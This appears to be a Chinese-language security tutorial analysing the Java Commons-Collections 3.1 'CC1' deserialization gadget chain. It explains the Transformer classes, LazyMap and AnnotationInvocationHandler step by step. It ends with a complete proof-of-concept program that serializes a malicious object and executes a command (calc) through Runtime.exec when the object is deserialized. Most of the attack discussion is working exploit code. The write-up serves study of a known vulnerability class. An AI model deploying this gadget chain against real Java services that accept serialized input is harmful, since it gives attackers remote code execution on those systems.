Java CommonsCollections1 反序列化分析

环境搭建

创建Maven项目后,导入如下依赖

注:本文复现环境 jdk1.7

    <dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
    </dependencies>

CC1链分析

分析触发点

其实CC1链主要还是利用Transformer通过内部反射构造出Runtime.getRuntime().exec(“cmd”)来执行命令

代码如下:

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})});
        chain.transform(Object.class);

image.png

Transformer

Transformer接口存在transform方法

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package org.apache.commons.collections;

public interface Transformer {
    Object transform(Object var1);
}

其中Transformer接口有如下实现类

ChainedTransformer

构造方法:

    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

transform实现:

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

ConstantTransformer

构造方法:

    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

transform实现:

    public Object transform(Object input) {
        return this.iConstant;
    }

InvokerTransformer

构造方法:

    private InvokerTransformer(String methodName) {
        this.iMethodName = methodName;
        this.iParamTypes = null;
        this.iArgs = null;
    }

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }

transform实现:

    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }

了解过反射相关的知识的话不难看出,可以多次利用ConstantTransformer和InvokerTransformer构造出Rumtime….exec()反射链,但此时构造的反射链只是一个个独立的Transformer实例,需要由ChainedTransformer实现的transform方法将前面构造的多个实例组成的数组连起来实现命令执行

代码如下

        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})});
        chain.transform(Object.class);

单利用Transformer链命令执行需要调用transform方法才能触发,实现更简单触发实现命令执行需要找到更完美的调用链。

构建利用链

前面已经分析出命令执行需要调用transform方法才能触发,利用最朴实无华的方法找到LazyMap重写父类Map的get方法会调用transform

image.png

利用LazyMap调用Transformer链实现命令执行相关实现代码

        Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
        Constructor[] constructors = clazz.getDeclaredConstructors();
        Constructor constructor = constructors[0];
        constructor.setAccessible(true);
        Map map = (Map)constructor.newInstance(innermap,chain);
        map.get("");

image.png

但这里仍存在同样问题,LazyMap的get方法也需要被调用才可以触发命令执行

从Ysoserial的cc1相关代码发现 其中代理类AnnotationInvocationHandler的invoke方法可对传入的LazyMap对象调用其get方法

image.png

一环套一环,触发AnnotationInvocationHandler的invoke方法需要对其实现的变量进行操作,所以可以先用java.lang.reflect.Proxy封装一个LazyMap

代码如下

        HashMap innermap = new HashMap();
      
        Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
        Constructor[] constructors = clazz.getDeclaredConstructors();
        Constructor constructor = constructors[0];
        constructor.setAccessible(true);
        Map map = (Map)constructor.newInstance(innermap,chain);


        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        handler_constructor.setAccessible(true);
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler

        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象

当调用proxy_map方法时会触发AnnotationInvocationHandler的invoke方法并命令执行

image.png

image.png

image.png

继续分析

AnnotationInvocationHandler不仅实现了代理接口,同样实现了序列化接口并重写了readObject

图下代码中可看出,在进行反序列化时会对传入的Map执行entrySet方法(此时的Map即前面用Proxy包装的LazyMap)

image.png

成功命令执行

image.png

完整代码

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;

public class Main {

    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchFieldException, IOException {
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, new Object[]{"calc"})});


        HashMap innermap = new HashMap();

        Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
        Constructor[] constructors = clazz.getDeclaredConstructors();
        Constructor constructor = constructors[0];
        constructor.setAccessible(true);
        Map map = (Map)constructor.newInstance(innermap,chain);


        Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
        handler_constructor.setAccessible(true);
        InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); 

        Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);

        proxy_map.entrySet();

        Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);

        AnnotationInvocationHandler_Constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);

        try{
            ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc1"));
            outputStream.writeObject(handler);
            outputStream.close();

            ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc1"));
            inputStream.readObject();
        }catch(Exception e){
            e.printStackTrace();
        }
    }
}

文章参考文献

Java安全漫谈

-->